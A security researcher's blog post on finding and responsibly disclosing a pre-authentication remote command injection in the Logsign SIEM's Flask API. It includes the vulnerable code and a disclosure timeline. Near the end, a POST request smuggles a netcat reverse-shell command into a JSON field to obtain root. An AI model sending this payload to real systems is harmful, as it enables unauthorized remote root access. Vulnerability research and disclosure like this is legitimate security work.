Skip to main content

Unexpected Journey #3 – Visiting Another SIEM and Uncovering Pre-auth Privileged Remote Code Execution

This is the third part of our article series that intended to share my real-life penetration testing experience.In this article, I will share a whole process of how we managed to find a -0day- pre-auth RCE vulnerability on another SIEM product.

When performing security tests, you will have the opportunity to encounter many products. In the past, I’ve showed what we’ve done with AlienVault USM/OSSIM and ManageEngine Eventlog products during penetration test. This time, I’ve decided to do vulnerability research for widely used SIEM products before encountering them during pentest.

Choosing Product

Most of the big players, such a Qradar and Archsight, doesn’t allow you to get a software as a free trial without doing webinars with their sales teams. For this reason, I’ve decided to look for a companies that gives away free demo. After several minutes of googling, I’ve came across with Logsign . Then it turned out that it’s very popular SIEM solution for more than +400 companies. Beside that, having a ISO or OVA files of Logsign seems very easy.

PS: If you are able to provide a demo for SIEM product that we haven’t been opportunity to test, please don’t hesitate to get in touch with me.

First Glance

I’ve seen following HTTP request and response when I try to browse a management interface.

// Request
GET /ui/modules/login/ HTTP/1.1
Host: 12.0.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://12.0.0.10/
Connection: close
Upgrade-Insecure-Requests: 1

// Response
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Feb 2017 14:48:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1824
Connection: close
Set-Cookie: PHPSESSID=ggosxciiwxknevjev321qfu46e; Path=/
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
X-XSS-Protection: 1; mode=block

<!doctype html>
<html lang="en" xmlns:ng="http://angularjs.org">
....

At first glance, it seems Logsign is built with a PHP and angularjs technologies. That was quite interesting for me. I was expecting to the see NodeJS because of most of the /ui/modules/ pattern are used with NodeJS in my experience. But then why we are seeing a PHPSESSID as a cookie name ? In order to understand actual technology, I decided to the dive into virtual machine. I rebooted it with recovery mode and then changed the password of root user in order to do ssh login.

Determining High Level Entry Points

We know that nginx was used by product as a reverse proxy. It always good to checkout nginx configuration file to see which path assigned which internal process.

[email protected]:~# cat /etc/nginx/sites-enabled/default |grep -v '#'
add_header X-XSS-Protection "1; mode=block";
resolver 127.0.0.1;
server {

  root /var/www;
  index index.php index.html index.htm;
  expires epoch;
    gzip on;
    gzip_proxied any;
    gzip_comp_level 9;
    gzip_buffers 16 8k;
    gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript;

    server_tokens off;
    error_page 494 = /404.html;
    error_page 403 500 502 503 504 = /error.html;

  server_name localhost;

  location / {
    try_files $uri $uri/ /404.html;
  }

  location ~ \.php$ {
    fastcgi_split_path_info ^(.+\.php)(/.+)$;
  
    fastcgi_pass unix:/var/run/php5-fpm.sock;
    fastcgi_index index.php;
    fastcgi_read_timeout 900s;
    include fastcgi_params;
    fastcgi_pass_header Authorization; 
  }

    location = /api { rewrite ^ /api/; }
    location /api { try_files $uri @api; }
    location = /api/radmanager { rewrite ^ /api; }
    location /api/radmanager {
  include radmanager.accesslist;
        try_files $uri @api_rad;
    }

    location = /api/portal/admin { rewrite ^ /api/; }
    location /api/portal/admin { try_files $uri @api_portal_admin_ui; }
    location = /api/portal { rewrite ^ /api/; }
    location /api/portal { try_files $uri @api_portal_guest_ui; }
    location /log { try_files $uri @api; }
    location /alarm { try_files $uri @api; }
    location /storebox { try_files $uri @api; }
    location /captive_admin { try_files $uri @api; }
    location /captive_moderator { try_files $uri @api; }
    location /ui/modules/settings { try_files $uri @ui_modules; }
    location /ui/modules/log { try_files $uri @ui_modules; }
    location /ui/modules/captive_admin { try_files $uri @ui_modules; }
    location /ui/modules/alarm { try_files $uri @ui_modules; }
    location /ui/modules/search { try_files $uri @ui_modules; }

location /es/ {
        internal;
        proxy_buffering on;
        proxy_read_timeout 600;
        proxy_pass $decoded_url;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        set $decoded_url '';
        rewrite_by_lua '
            ngx.req.read_body()
            local data = ngx.req.get_body_data()
            local qf_path = "/tmp/" .. ngx.var.arg_id .. ".query"
            local url_path = "/tmp/" .. ngx.var.arg_id .. ".url"

            local f = io.open(url_path)
            local uri = f:read("*all")
            f:close()
            os.remove(url_path)

            local f = io.open(qf_path)
            local qf_body = f:read("*all")
            f:close()
            os.remove(qf_path)

            -- ngx.log(ngx.ERR,qf_path)
            ngx.var.decoded_url = uri
            ngx.req.set_body_data(qf_body)
        ';
    }

location /captive_admin_radius/ {
        internal;
        proxy_buffering on;
        proxy_pass $decoded_url;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        set $decoded_url '';
        rewrite_by_lua '
            local url_path = "/tmp/" .. ngx.var.arg_id .. ".url"

            local f = io.open(url_path)
            local uri = f:read("*all")
            f:close()
            os.remove(url_path)

            -- ngx.log(ngx.ERR,url_path)
            ngx.var.decoded_url = uri
        ';
    }

location /remote_api/ {
        internal;
        proxy_buffering on;
        proxy_pass $arg_remote;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Api-Token $arg_api_token;
    }

location @api {
  proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_redirect off;
        if (!-f $request_filename) {
            rewrite  /api/(.*)  /$1  break;
            proxy_pass http://127.0.0.1:8000;
            break;
        }
}
    location @api_rad {
      proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_redirect off;
        if (!-f $request_filename) {
            rewrite  /api/(.*)  /$1  break;
            proxy_pass http://127.0.0.1:8001;
            break;
        }
    }
    location @api_portal_guest_ui {
      proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_redirect off;
        if (!-f $request_filename) {
            rewrite  /api/(.*)  /$1  break;
            proxy_pass http://127.0.0.1:8003;
            break;
        }
    }
    location @api_portal_admin_ui {
      proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_redirect off;
        if (!-f $request_filename) {
            rewrite  /api/(.*)  /$1  break;
            proxy_pass http://127.0.0.1:8002;
            break;
        }
    }
    location @ui_modules {
      proxy_set_header X-Forward-For $proxy_add_x_forwarded_for;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_redirect off;
        if (!-f $request_filename) {
            rewrite  /api/ui_modules/(.*)  /$1  break;
            proxy_pass http://127.0.0.1:8000;
            break;
        }
    }
}

While reading a nginx configuration, you must spotted URLs starts with api ,which then rewrited to the /api/* , are handled by service listening on port 8000.  

[email protected]:~# netstat -tnlp|grep 8000
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      1738/gunicorn: mast

I was expecting to see php-fqm on that port. Because we’ve seen PHPSESSID as a cookie name. But gunicorn was the one who started to listening this port. That was the moment when I was %99 sure about that back-end wasn’t PHP. Most of the time, gunicorn is used for Python and Ruby based web application. I decided to search PHPSESSID in all files so I can see where the session validation is handled.

[email protected]:/opt# find /opt -type f|xargs grep 'PHPSESSID'
// Omitting err lines.
./logsign-postprocess/scripts/export_to_pdf.js:            'name': 'PHPSESSID',
./logsign-api/session.py:        self.cookie_session_id = request.cookies.get('PHPSESSID', None)
./logsign-api/session.py:            decoded['sess_id'] = request.cookies.get('PHPSESSID', None)
./logsign-api/session.py:            response.set_cookie('PHPSESSID', session['sess_id'])
Binary file ./logsign-api/session.pyc matches
[email protected]:/opt#

There it is.  All requests that contains /api/ are handled by python application. Possibly we are about the see flask app.

Hunting Down API Endpoints

I’ve opened /opt/logsign-api/api.py file and started to looking for a flask functions. Following code is taken from that file for an instance.

@flask_app.route('/index_status')
@decs.json_api
@decs.authenticate
def index_status():
    sc = container.get_object('StatusClient')
    return sc.index_status('data')

I do have a development background, especially with Python and PHP -thanks to milw0rm days-. I knew that @decs.authenticate annotation take care of session validation. Since we don’t have a valid username and password pairs, I started to searching for a functions who don’t have this annotation and luckily! found following one.

@flask_app.route('/log_browser/validate', methods=['POST'])
@decs.json_api
@decs.audit
def validate_file():
    data = json.loads(request.data)

    if is_screen_open('validate-file'):
        return {'message': 'already running', 'success': False}

    try:
        os.unlink('/var/log/validate_file.log')
    except:
        pass

    local['screen']['-dmS']['validate-file']['sh']['-c'][
        'python /opt/logsign-cli/cli.py "validate_file --file-name ' + data.get(
            'file') + '" quit 2>&1 |tee /var/log/validate_file.log']()

    return {'message': 'success', 'success': True}

That functions is directly accessible through /api/log_browser/validate endpoint and it doesn’t require a valid session. Following steps are what validate_file() function does once it called.

  1. Request type must be POST according to the flask annotation.
  2. Content-Type must be application/json
  3. It takes HTTP Body and then performs json decoding. Thus input must be in valid json format.
  4. Checks out there is an already existing process by calling a is_screen_open function.
  5. Calls screen command of linux with a bunch of parameters. But one of the parameter that passed to the cli.py script is taken from client.

That’s a Remote Command Injection vulnerability and authentication is not even required..!

Triggering The Vulnerability

Following HTTP request will trigger the vulnerability and then reverse connection will be created.

POST /api/log_browser/validate HTTP/1.1
Host: 12.0.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Content-Length: 132

{"file":"logsign.raw\" quit 2>&1 |mkfifo /tmp/cweve; nc 12.0.0.1 4444 0</tmp/cweve | /bin/sh >/tmp/cweve 2>&1; rm /tmp/cweve #"}

Once the connection established, reverse shell will be prompted out with a root privileges.

Metasploit Module is On Action

We all do love metasploit, who doesn’t ? Here is the module.

You can see source code at following PR. https://github.com/rapid7/metasploit-framework/pull/8086

Timeline

26 Feb 2017 12:48 GMT+1 : Started to vulnerability research

26 Feb 2017 13:12 GMT+1 : Vulnerability found

26 Feb 2017 13:44 GMT+1 : Metasploit module implemented

26 Feb 2017 15:11 GMT+1 : Details and short-term mitigation are shared with GPACT/USTA members

26 Feb 2017 22:54 GMT+1 : First contact with vendor

26 Feb 2017 23:11 GMT+1 : Conference call directly with CEO of Logsign

26 Feb 2017 23:32 GMT+1 : Details are shared with vendor

27 Feb 2017 02:20 GMT+1 : Patch released

27 Feb 2017 08:02 GMT+1 : Patch deployed to all pro customer by vendor. We decided to hold on this article for a 10 days so even free users can upgrade their system.

09 Mar 2017 09:00 GMT+1 : Second meeting with CEO of Logsign for discussing status of patch deployment. We acknowledge that patch has been deployed to all customers. Also, we learnt that Logsign got in touch with all freemium users to help them to upgrade their system.

09 Mar 2017 18:16 GMT+1 : Advisory released.

I must say, this is the best response timeline I’ve ever seen for a long time. Congratulations to Logsign for taking security reports so serious.👏🎉

Mehmet Ince

Master Ninja @ Prodaft / INVICTUS Europe.

  • mike

    Very nice write-up. Thank you for sharing.

  • Jonathan

    Very interesting article, well written! Thanks!